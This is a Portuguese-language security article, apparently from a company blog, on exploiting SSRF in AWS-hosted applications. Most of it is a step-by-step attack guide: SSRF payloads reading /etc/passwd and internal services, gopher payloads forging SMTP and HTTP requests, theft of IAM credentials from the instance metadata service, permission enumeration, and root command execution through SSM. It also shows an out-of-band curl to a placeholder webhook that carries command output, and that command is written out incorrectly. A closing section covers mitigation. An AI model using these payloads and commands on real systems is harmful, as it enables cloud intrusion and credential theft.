A vulnerabilidade SSRF por si só já tem um grande poder destrutivo, ocorre quando uma aplicação faz uma solicitação de recursos para uma URL fornecida pelo usuário, sem validar se é uma URL permitida, assim a aplicação é induzida a solicitar um recurso indesejado.

Podendo ser utilizado para extrair arquivos, credenciais, fazer requisições para serviços internos e externos, e até mesmo explorar outras vulnerabilidades, há inúmeras possibilidades de exploração. Esse número de possibilidades aumenta quando a aplicação vulnerável está hospedada em uma Cloud.

Nesse artigo discorrerei sobre SSRF em aplicações hospedadas especificamente em AWS, o impacto e algumas formas de exploração. Primeiramente será abordado algumas explorações comuns de SSRF, em seguida explicaremos como funciona o serviço de metadados da AWS, conhecido como AWS IMDS, na sequência abordaremos a exploração do AWS IMDS a partir do SSRF, além de formas de mitigação.

Requisitando o servidor local

O SSRF pode ser utilizado em diversos alvos, um deles é o próprio servidor, para acessar portas e serviços que não estão abertos publicamente, ou até mesmo burlar sistemas de controle de acesso, acessando páginas privadas do próprio servidor.

A seguir temos uma requisição na qual o parâmetro url possui uma URL.

POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded

url=http://exemplo.com.br/api/consulta?id=1

Nesse caso, o comportamento do back-end seria enviar uma requisição para a URL fornecida, e retornar a resposta dessa requisição.

Um atacante poderia alterar o valor do parâmetro url para consultar um serviço que não está acessível externamente, por exemplo, um serviço web na porta 8080.

POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded

url=http://localhost:8080/admin

Além da possibilidade de acessar um serviço não disponível externamente, seria possível também burlar o sistema de controle de acesso, caso ele valide que caso a requisição for realizada pelo próprio servidor, ele desconsidere as regras de acesso impostas.

Como também, dependendo da configuração do servidor, é possível até puxar arquivos internos do servidor, o que pode agravar o dano causado pela vulnerabilidade.

POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded

url=file:///etc/passwd

Requisitando servidores na rede interna

O SSRF pode ser utilizado para fazer solicitações externas para outros servidores, por exemplo, servidores da rede interna, que externamente não deveríamos ter acesso. Com isso, aumentamos a superfície de ataque, sendo possível interagir com serviços internos da rede.

POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded

url=http://192.168.0.36/

Um ponto interessante é podermos usar alguns protocolos, e algumas maneiras de interação a partir do payload do SSRF. Listarei alguns possíveis payloads abaixo:

Exemplos de Payloads

Abaixo darei alguns exemplos dos protocolos que podem ser utilizados como payload.

# Files
url=file:///etc/passwd

# FTP
url=ftp://192.168.0.36:21/

# SFTP
url=sftp://192.168.0.36:22/

# TFTP
url=tftp://192.168.0.36:69/

# LDAP
url=ldap://192.168.0.36:389/%0astats%0aquit

Gopher SMTP

Até mesmo fazer requisições mais complexas utilizando payloads com Gopher, como veremos a seguir.

url=gopher://192.168.0.36:25/xHELO%20localhost%250d%250aMAIL%20FROM:%3Chacker@dominio.com.br%3E%250d%250aRCPT%20TO:%3Cvitima@dominio.com.br%3E%250d%250aDATA%250d%250aFrom:%20%5BHacker%5D%20%3Chacker@dominio.com.br%3E%250d%250aTo:%20%3Cvitima@dominio.com.br%3E%250d%250aDate:%20Tue,%2010%20May%202023%2015:30:27%20-0300%20-0400%250d%250aSubject:%20Corpo%20do%20e-mail%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250

Esse payload irá fazer a seguinte requisição SMTP:

HELO localhost
MAIL FROM:<hacker@dominio.com.br>
RCPT TO:<vitima@dominio.com.br>
DATA
From: [Hacker] <hacker@dominio.com.br>
To: <vitima@dominio.com.br>
Date: Tue, 10 May 2023 17:20:26 -0300
Subject: Corpo do e-mail
.
QUIT

Gopher HTTP POST

# Para novas linhas você pode usar %0A, %0D%0A

gopher://192.168.0.36:8080/_POST%20/URI%20HTTP/1.0%0ACookie:%20somecookies%0A%0ARequest%20body

Esse payload irá fazer a seguinte requisição HTTP POST:

POST /URI HTTP/1.0
Cookie: somecookies

Request body

Gopherus – Gerador de payloads Gopher

Para facilitar a geração de payloads no protocolo Gopher deixo como dica a seguinte ferramenta:

A ferramenta é capaz de gerar payloads para o seguintes serviços:

  1. MySQL (Porta-3306)
  2. PostgreSQL (Porta-5432)
  3. FastCGI (Porta-9000)
  4. Memcached (Porta-11211)
  5. Redis (Porta-6379)
  6. Zabbix (Porta-10050)
  7. SMTP (Porta-25)

Automação da exploração

Uma ferramenta que ajuda a automatizar o ataque é o SSRFMap, não irei exemplificar o uso dele nesse artigo, porém, é uma ferramenta valiosa na exploração dessa vulnerabilidade.

AWS IMDS: Serviços de metadados da AWS

Os metadados de instância da AWS são dados que podem ser utilizados para gerenciar ou configurar uma instância em execução. O AWS IMDS é o serviço de metadados de instância da AWS, utilizado para acessar os metadados em si, e até mesmo configurá-los.

Para acessar esse serviço é utilizado o seguinte IP: 169.254.169.254. Para a instância interagir com a AWS, são utilizadas credenciais temporárias pelo AWS STS, que por si são armazenadas no AWS IMDS, é nesse ponto que existem os maiores riscos.

Ao invés de armazenar os tokens de acesso na própria instância, a AWS criou em 2012 o IMDS como o propósito de tornar mais seguro o armazenamento desses tokens, por exemplo, caso seja utilizado um bucket da S3 para armazenamento de dados, é possível armazenar o token de acesso no serviço do IMDS, e utilizar esse token com o AWS CLI ou AWS SDK.

Nele são encontrados dados do IP Interno, IP Externo, MAC Address, ID da Instância, grupos de segurança, entre outros, e até mesmo tokens temporários de acesso.

Abusando do AWS IMDS com SSRF

Conhecido também como IMDA (Instance Metadata Attacks), pode ser explorado a partir do SSRF. Abaixo vemos um exemplo de uma instância EC2 executando utilizando o curl para requisitar o AWS IMDS. Observa-se que existem vários recursos que podem ser acessados.

[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac

Com base nos exemplos anteriores, vamos exemplificar tendo em vista que a aplicação vulnerável está hospedada na AWS com acesso ao IMDSv1.

Podemos acessar diversas informações por meio de um SSRF em uma aplicação hospedada AWS, como: informações da instância (hostname, IP, ID, região, tipo da instância, etc.), até mesmo dados do IAM, como tokens de sessão da AWS. Irei exemplificar abaixo a mesma requisição que foi executada acima utilizando curl sendo enviada a partir de uma requisição vulnerável a SSRF:

POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

url=http://169.254.169.254/latest/meta-data/

Assim obteríamos um resultado similar ao encontrado anteriormente:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac

Exemplos payloads para obtenção de dados da instância

Aqui estão alguns exemplos de payloads para obter dados da instância na qual a aplicação vulnerável está sendo executada:

# ID da Instância
url=http://169.254.169.254/latest/meta-data/instance-id

# Tipo de Instância
url=http://169.254.169.254/latest/meta-data/instance-type

# Região da Instância
url=http://169.254.169.254/latest/placement/region

Obtendo a região da instância

Para realizar o ataque precisamos da região que instância está hospedada, para isso utilizaremos o payload já mencionado anteriormente:

url=http://169.254.169.254/latest/placement/region

Nesse caso obtemos a seguinte região na resposta:

us-east-1

Obtendo credenciais

Existem dois caminhos que podem ser seguidos para obter credenciais, um deles que geralmente fornece credenciais com maior permissionamento, por esse caminho que iremos seguir.

As credenciais mais importantes são as do IAM, que na maior parte das vezes oferecem um risco maior. Vale salientar que nem sempre essas credenciais estão disponíveis no IMDS.

Primeiramente devemos coletar qual função (role) está armazenada no IMDS, para isso utilizamos o payload a seguir:

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Se alguma credencial do IAM estiver disponível, será retornado a função disponível, por exemplo: iam-ssm-role, ec2-default-ssm, etc., o payload deve seguir o seguinte padrão:

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME>

A resposta da requisição deverá retornar os seguintes dados: aws_access_key_id, aws_secret_access_key, aws_session_token, que podem utilizados para se autenticar nos serviços da AWS e interagir com eles. Vemos a seguir um exemplo da resposta:

{
  "Code": "Success",
  "LastUpdated": "2023-07-31T20:03:02Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "<ACCESS_KEY_ID>",
  "SecretAccessKey": "<SECRET_ACCESS_KEY>",
  "Token": "<SESSION_TOKEN>",
  "Expiration": "2023-08-01T02:05:07Z"
}

Credencias da instância EC2

Existe um endpoint do IMDS que retorna credenciais de instância do EC2, conhecido como “EC2 Security Credentials”, essas credenciais são geradas para todas as instâncias EC2, mesmo que não haja alguma função anexada a ela. Para acessar essas credenciais é utilizado o seguinte payload:

url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

A AWS nos fornece a seguinte descrição sobre essas credenciais:

[Reservado apenas para uso interno] As credenciais que a AWS usa para identificar uma instância para o restante da infraestrutura do Amazon EC2.

Geralmente essas credenciais possuem um nível permissionamento baixo, que não permite realizar nenhum tipo de ataque. Porém, vale verificar quais permissões essas credenciais possuem, será abordado na sequência como verificar o permissionamento.

Validando credenciais obtidas

Após obter as credenciais devemos validar se as credenciais são válidas, para isso utilizaremos no AWS CLI. Para instalar o AWS CLI recomendamos seguir o guia oficial da AWS:

https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html

Com o AWS CLI instalado, devemos configurar as credenciais obtidas, existem dois caminhos que podem ser seguidos. O primeiro é utilizar o comando aws configure.

SSRF e AWS: Uma combinação perigosa - Softwall

Devem ser informados o Access Key ID, o Secret Access Key, e a região da instância, que foi obtido anteriormente, o AWS CLI executará os comandos na região configurada. Outro ponto importante nessa configuração, não foi solicitado o Session Token que é necessário nesse ataque, por conta disso deverá ser editado manualmente.

Logo partiremos para a segunda opção de configuração, que é editar diretamente o arquivo ~/.aws/credentials, eu particularmente prefiro editar diretamente esse arquivo, sem utilizar o comando aws configure. O arquivo deve conter a seguinte estrutura:

[default]
aws_access_key_id = <ACCESS_KEY_ID>
aws_secret_access_key = <SECRET_ACCESS_KEY>
aws_session_token = <SESSION_TOKEN>

Os valores não precisam estar entre aspas.

É possível definir perfis de configuração, no lugar de [default] pode ser colocado o nome do perfil, como, por exemplo, [pentest], o que pode ser interessante caso existam diferentes perfis de acesso, ou se você já utilizar o AWS CLI para outros fins, caso opte configurar utilizando o comando aws configure, use aws configure para usar um perfil diferente do padrão (default).

A região da instância é configurada em outro arquivo: ~/.aws/config, devendo estar no seguinte formato, respeitando o nome do perfil utilizado anteriormente:

[default]
region = <Região da instância ou de escolha> 
output = json

Com o arquivo configurado, podemos validar se a credencial é válida utilizando o seguinte comando: aws sts get-caller-identity, caso as credenciais sejam válidas o retorno será parecido com o seguinte:

SSRF e AWS: Uma combinação perigosa - 02 - Softwall

Caso retorne algum erro, tente repetir o processo de obtenção das credenciais.

Verificando nível de permissionamento das credenciais

Antes de realizar alguma exploração, iremos verificar qual o nível de permissionamento dessas credenciais obtidas, para isso utilizaremos a ferramenta enumerate-iam.

O setup da ferramenta está presente no repositório.

Para utilizá-la use os seguintes comandos:

# Instale a ferramenta
git clone git@github.com:andresriancho/enumerate-iam.git
cd enumerate-iam/
pip install -r requirements.txt

# Baixe os endpoints da API
cd enumerate_iam/
git clone https://github.com/aws/aws-sdk-js.git
python3 generate_bruteforce_tests.py
rm -rf aws-sdk-js
cd ..

# Enumere as permissões
python3 enumerate-iam.py --access-key '<ACCESS_KEY>' --secret-key '<SECRET_KEY>' --session-token '<SESSION_TOKEN>' --region '<REGION>'

A ferramenta pode demorar um tempo para enumerar todos os serviços.

Caso ela trave no processo, poderá ser alterado o código fonte para reduzir o número de tentativas de enumeração, conforme o pull request abaixo:

Explorando Instâncias EC2 – Escalando para RCE

Um risco ao conseguir credenciais da AWS é a possibilidade de executar comandos nas instâncias EC2, escalando assim de um SSRF para um RCE, aumentando o potencial de dano causado. Veremos a seguir como esse ataque pode ser realizado.

Primeiramente listaremos as instâncias disponíveis com o seguinte comando:

aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"

Serão obtidas apenas instâncias da região anteriormente configurada, para obter instâncias das demais regiões utilize o Pacu, com ele é possível enumerar instâncias em todas as regiões, outra opção é utilizar o argumento –region no AWS CLI, nesse modo é possível executar em região diferente.

Caso as credenciais obtidas possuam permissões, o retorno será parecido com o seguinte:

1.2.3.4  example-1234567890.us-east-1.ec2.amazonaws.com  172.12.1.120  i-xxxxxxxxxxxxxxxxx  False  2023-07-31T18:18:00.000000+01:00  Online  Amazon Linux AMI  Linux  2022.01 EC2Instance

Uma das informações retornadas é o ID de instância EC2, que será utilizado no comando a seguir. Também pode ser utilizado o ID da Instância com a aplicação vulnerável a SSRF.

Agora tentaremos executar um comando na instância escolhida.

É importante salientar que deve-se ter cuidado com o comando a ser executado, para evitar qualquer tipo de dano ou indisponibilidade na instância a ser testada.

Inicialmente executaremos o comando whoami na instância:

aws ssm send-command --document-name "AWS-RunShellScript" --comment "Testing RCE" --targets "Key=instanceids,Values=[<ID da instância>]" --parameters 'commands=whoami'

Caso as credenciais obtidas tenham permissão para executar comandos na instância EC2, receberemos um retorno parecido com o seguinte:

{
    "Command": {
        "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
        "DocumentName": "AWS-RunShellScript",
        "DocumentVersion": "",
        "Comment": "Testing RCE",
        "ExpiresAfter": "2023-07-31T18:21:00.000000-03:00",
        "Parameters": {
            "commands": [
                "whoami"
            ]
        },
        "InstanceIds": [],
        "Targets": [
            {
                "Key": "instanceids",
                "Values": [
                    "i-xxxxxxxxxxxxxxxxx"
                ]
            }
        ],
        "RequestedDateTime": "2023-07-31T18:21:00.000000-03:00",
        "Status": "Pending",
        "StatusDetails": "Pending",
        "OutputS3BucketName": "",
        "OutputS3KeyPrefix": "",
        "MaxConcurrency": "50",
        "MaxErrors": "0",
        "TargetCount": 0,
        "CompletedCount": 0,
        "ErrorCount": 0,
        "DeliveryTimedOutCount": 0,
        "ServiceRole": "",
        "NotificationConfig": {
            "NotificationArn": "",
            "NotificationEvents": [],
            "NotificationType": ""
        },
        "CloudWatchOutputConfig": {
            "CloudWatchLogGroupName": "",
            "CloudWatchOutputEnabled": false
        },
        "TimeoutSeconds": 3600
    }
}

O resultado de execução não é retornado na resposta desse comando, o comando é enviado para uma fila de execução, para assim ser executado na instância, por conta disso devemos utilizar outro comando do AWS CLI para obter o resultado de execução.

Para obter o resultado precisamos do ID do Comando, retornado no parâmetro CommandId. Com esse ID executamos o comando a seguir:

aws ssm list-command-invocations --command-id "<ID do Comando>" --details

Se as credenciais tiverem permissão de ver o resultado do comando executado, obteremos um resultado similar:

{
    "CommandInvocations": [
        {
            "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
            "InstanceId": "i-xxxxxxxxxxxxxxxxx",
            "InstanceName": "",
            "Comment": "RCE test: whoami",
            "DocumentName": "AWS-RunShellScript",
            "DocumentVersion": "",
            "RequestedDateTime": "2023-07-31T18:24:00.000000-03:00",
            "Status": "Success",
            "StatusDetails": "Success",
            "StandardOutputUrl": "",
            "StandardErrorUrl": "",
            "CommandPlugins": [
                {
                    "Name": "aws:runShellScript",
                    "Status": "Success",
                    "StatusDetails": "Success",
                    "ResponseCode": 0,
                    "ResponseStartDateTime": "2023-07-31T18:24:00.000000-03:00",
                    "ResponseFinishDateTime": "2023-07-31T18:24:00.000000-03:00",
                    "Output": "root\n",
                    "StandardOutputUrl": "",
                    "StandardErrorUrl": "",
                    "OutputS3Region": "us-east-1",
                    "OutputS3BucketName": "",
                    "OutputS3KeyPrefix": ""
                }
            ],
            "ServiceRole": "",
            "NotificationConfig": {
                "NotificationArn": "",
                "NotificationEvents": [],
                "NotificationType": ""
            },
            "CloudWatchOutputConfig": {
                "CloudWatchLogGroupName": "",
                "CloudWatchOutputEnabled": false
            }
        }
    ]
}

PWN3D! O comando foi executado com o usuário root! Observe o resultado acima no campo CommandInvocations.CommandPlugins.Output

Houve casos que as credenciais obtidas tinham permissão de enviar o comando, porém não podiam obter o resultado do comando, caracterizando um “blind RCE”, caso isso aconteça é necessário o uso da técnica OAST (Out-of-band application security testing), um exemplo do uso dessa técnica é enviar um comando curl para um webhook, com o resultado do comando desejado no query string. Veremos um exemplo a seguir:

aws ssm list-command-invocations --command-id "curl https://<Webhook URL>/?result=${whoami}" --details

Desse forma você obterá o resultado no webhook.

A partir de agora as possibilidades são enormes, é possível abrir um shell na instância alvo, abrindo um grande leque de oportunidades.

Pacu

Fica a dica de outra ferramenta interessante para a fase de exploração é o Pacu, uma ferramenta que automatiza alguns processos, desde enumeração até a escalação de privilégio. Nesse artigo não abordarei o uso do Pacu.

Mitigação

Existem diversas camadas que podem ser aplicadas para evitar esse tipo de ataque.

SSRF

É fundamental corrigir o problema pela raiz, corrigindo a aplicação vulnerável, para isso é necessário sanitizar a entrada de dados, evitando que sejam requisitadas URLs maliciosas enviadas por usuários, sendo possível criar “permit list” com apenas as URLs permitidas, criar filtros, entre outras ações. Cada aplicação é um universo a parte, por conta disso sugiro ler o guia de prevenção de SSRF da OWASP, e adequar a mitigação na aplicação.

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

O SSRF pode ser escalado a partir da vulnerabilidade XXE, assim deve-se ter atenção nessa possível vulnerabilidade.

AWS IMDS

Em relação ao AWS IMDS, para mitigar é necessário habitar o AWS IMDSv2 e desabilitar o AWS IMDSv1 que é mais suscetível a esse ataque. O AWS IMDSv2 possui uma camada adicional de segurança, que mitiga alguns tipos de SSRF, adicionando um token no header HTTP, que deve ser obtido com o método PUT, apenas assim é possível consultar as informações do IMDS. Essa mitigação pode ser aplicada tanto com o AWS SCPs, quanto com o AWS SSM automation.

Para mais informações abaixo encontra-se a documentação oficial da AWS de como migrar para o IMDSv2.

https://docs.aws.amazon.com/pt_br/AWSEC2/latest/UserGuide/instance-metadata-transition-to-version-2.html

Podemos observar abaixo como funciona o fluxo do IMDSv2.

SSRF e AWS: Uma combinação perigosa - 03 - Softwall

WAF

Uma camada adicional que pode ser aplicada é o WAF, que pode barrar alguns ataques de SSRF. O ideal é sempre corrigir o problema pela raiz, porém, o WAF pode ser um bom aliado na proteção de possíveis ataques.

Referências

SOFTWALL – Em Curitiba e Região – Paraná:
Telefone: (41) 3153-5090
E-mail: comercial@softwall.com.br

Também em Balneário Camboriú e Região – Santa Catarina:
Telefone: (41) 3153-5090
E-mail: comercial@softwall.com.br
“Sua segurança é o nosso objetivo”